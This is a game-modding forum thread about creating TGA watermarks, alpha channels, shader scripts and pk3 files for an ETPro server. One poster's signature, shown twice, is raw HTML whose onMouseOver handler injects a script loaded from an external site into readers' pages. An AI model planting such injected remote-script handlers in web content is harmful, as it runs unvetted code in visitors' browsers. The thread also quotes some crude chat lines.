Psuedo-documentation: Watermark example

Discussion for Bani's Tournament Mod

Moderators: Forum moderators, developers

User avatar
Boco
Posts: 280
Joined: Sat Oct 12, 2002 9:34 am
Location: Lacey, Washington, USA
Contact:

Post by Boco »

twilightnl wrote:does someone know a SIMPLE program that can convert jpeg to tga?
Not really. I couldn't find any conversion tools just now. Maybe if you look hard, though. Otherwise, just get something like The Gimp, load the image, then save it as tga... Just about all image editing programs (outside of Windows Paint) will do the job.
<[av]bani> anything which causes boco pain or suffering is \o/
<[av]bani> guns are cool. just saying the word 'gun' gives me a raging hardon.
<[av]bani> DO NOT MOCK HAPPY FUN BANI
<[av]bani> do not run over happy fun bani

* [NW]reyalP thinks he should write a book... "IP Law for fucking morons"
<KingJackaL> haha
<KingJackaL> I'd buy it : D
<WeblionX> I'd scan every page and put it up as a torrent!
-[SomeonE]-
Posts: 86
Joined: Mon Jan 05, 2004 12:48 pm
Location: Canada
Contact:

Post by -[SomeonE]- »

paint shop pro, open the file you want to convert then file>save as>then under the little white space where you write the name of the fime your gonna save its writtin file type, choose tga

but im not 100% sure itll work i didnt try it yet
________
Lexus Link history
Last edited by -[SomeonE]- on Fri Feb 04, 2011 12:14 am, edited 1 time in total.
User avatar
-TFW-Jerome
Posts: 3
Joined: Sun Sep 28, 2003 3:17 am
Location: FRANCE - Paris
Contact:

Post by -TFW-Jerome »

Hi all

I've got exactly the same problem to manage transparency (so alpha channel) under PSP : my image is always with a white background when saved :(

So simple question : how to manage this alpha channel? I've made a lot of tries, but never successful.

If someone did it under PSP successfully, may he/she explain it please? :oops:

In advance thanks a lot
Image
[STALAG13]Hogan
Posts: 7
Joined: Thu Jan 29, 2004 4:30 am
Contact:

Post by [STALAG13]Hogan »

twilightnl wrote:does someone know a SIMPLE program that can convert jpeg to tga?
Hi,
yes i know one. It's called XnView available at http://www.xnview.com.
This Program can convert simply everyting i ever saw, and its a cute
Dia show prog.
grtz Hogan
Bandwidth Is Life ! Long Life RAMBUS !
[STALAG13]Hogan
Posts: 7
Joined: Thu Jan 29, 2004 4:30 am
Contact:

Post by [STALAG13]Hogan »

Hi folks,
hmm i used The Gimp for my Watermark and the transparency is working fine. BUT ! why the he** is my watermark shown upside down in ET ???
any1 knowing a solution ? the *.tga file is ok but the watermark shown in ET is upside down. WHY ?
grtz Hogan
Bandwidth Is Life ! Long Life RAMBUS !
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

[STALAG13]Hogan wrote:hmm i used The Gimp for my Watermark and the transparency is working fine. BUT ! why the he** is my watermark shown upside down in ET ???
Make sure you check the "origin at bottom left" option when you save the .tga. ET expects the TGA to be saved this way, and doesn't bother reading the header to see if it really is.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
{TWR}Lambert
Posts: 2
Joined: Thu Feb 12, 2004 10:03 am
Contact:

Post by {TWR}Lambert »

I posted up on the Wolfensteinresource.com forum how to create a Targa (TGA) file using Photoshop 6 and above, as I read on these forums that people were having problems creating the alpha channel for the transparency, using the Adobe program.

You can view my method in a Microsoft Word document format, by downloading the zip file attached to the message on this post.

http://wolfensteinresource.com/forum/bo ... ad2287.htm

I hope it helps some of your members, as this thread certainly helped me create our Clans ETpro watermark logo.

Thanks for all your help.

Cheers

Lambert
NaWaN
Posts: 2
Joined: Tue Feb 17, 2004 11:43 am

Post by NaWaN »

I can't get it work on my server. This is what i get:


watermark-tpp.pk3 (put this in my et pro directory)

--> scripts
------> watermark-tpp.shader

Code: Select all

// shader name
watermark/tpp/tpplogo
&#123;
        nocompress
        nomipmaps
        nopicmip
	&#123;
		// image filename
		map watermark/tpp/tpplogo.tga
		blendFunc blend
		rgbGen vertex
		alphaGen vertex
	&#125;
&#125;
--> watermark
------> tpp
----------> tpplogo.tga

After this i zipped it with winzip and made it a *.pk3 file (changing extension)

The in my config file in the etmain directory i've put this in:

Code: Select all

set b_watermark "tpp/tpplogo"
set b_watermarkFadeAfter -1
No it won't work, he still says:

Could not find shader vor image watermark/tpp/tpplogo

my tga file is 128 x 128 px

What do i wrong ???
TI.Grey Fox
Posts: 4
Joined: Thu Feb 19, 2004 12:09 am
Contact:

watermark

Post by TI.Grey Fox »

Hello, I made an .TGA file and a .PK3 file.
I know for sure the .TGA file is good, for an PK3 file I took an Notepad and put in this line: /watermark/cr/indians.tga

and saved it as indians.pk3

Then is says indians.pk3 so I do thinks thats a PK3
Now I uploaded this to my server along with the .TGA picture, and in my server cfg I added these lines under //DL & RATE//

set b_watermark indians/bc
set b_watermark "cr/watermark"
set b_watermarkFadeAfter -1
set b_watermarkFadeTime 1.5

I Dont use a shader script with it, but when I enter the server it says:

WARNING: Could'nt find shader for image watermark/cr/indians

The server is pure, so thats okay to.
But I need to know what im doing wrong, really need some help

Cheers, GF from the indians clan
User avatar
KingJackaL
Posts: 666
Joined: Thu Jan 08, 2004 3:47 pm
Location: ChCh, NZ
Contact:

Post by KingJackaL »

lol dude, that's not right at all :lol:



Make a folder called 'watermark'

Make a folder INSIDE that folder called 'cr'

Put the TGA file ( 'indians.tga' ) INSIDE that 'cr' folder

Go back up two levels, and put the 'watermark' folder inside a ZIP archive

Rename the .zip to .pk3

It'll work now.



A pk3 is a ZIP file, just with a different extension. The TGA file has to be INSIDE the pk3, not just 'with it'. If you're still confused, go back and read the first post again carefully.
TI.Grey Fox
Posts: 4
Joined: Thu Feb 19, 2004 12:09 am
Contact:

Post by TI.Grey Fox »

hehe thanks i get it now :roll:
TI.Grey Fox
Posts: 4
Joined: Thu Feb 19, 2004 12:09 am
Contact:

Post by TI.Grey Fox »

hello again we managed to get the pk3 file in order zipped it and uploaded in etpro directory and changed the server.cfg

and putted some extra lines under //DL & RATE// like i said before:

set b_watermark indians/bc
set b_watermark "cr/watermark"
set b_watermarkFadeAfter -1
set b_watermarkFadeTime 1.5

then i restarted the server and when i reconnected then i must download my watermark and when i get in the server there's no watermark dunno where to go now

is the server.cfg not correct??
TI.Grey Fox
Posts: 4
Joined: Thu Feb 19, 2004 12:09 am
Contact:

Post by TI.Grey Fox »

setted the: set b_watermarkFadeTime 1.5

to: set b_watermarkFadeTime -1

but now the server says the image is not correct :?
DaMsT
Posts: 2
Joined: Sun Feb 22, 2004 10:38 am
Location: Sweden
Contact:

Post by DaMsT »

Ok, i have read all posts but still I dont know where to put the shader? Maybe i'am blind at the moment :oops:
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

The shader script goes in scripts/. I updated the post to reflect this, although Konqueror ate the indentation for the shader example. I'll fix that in a bit.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
Post Reply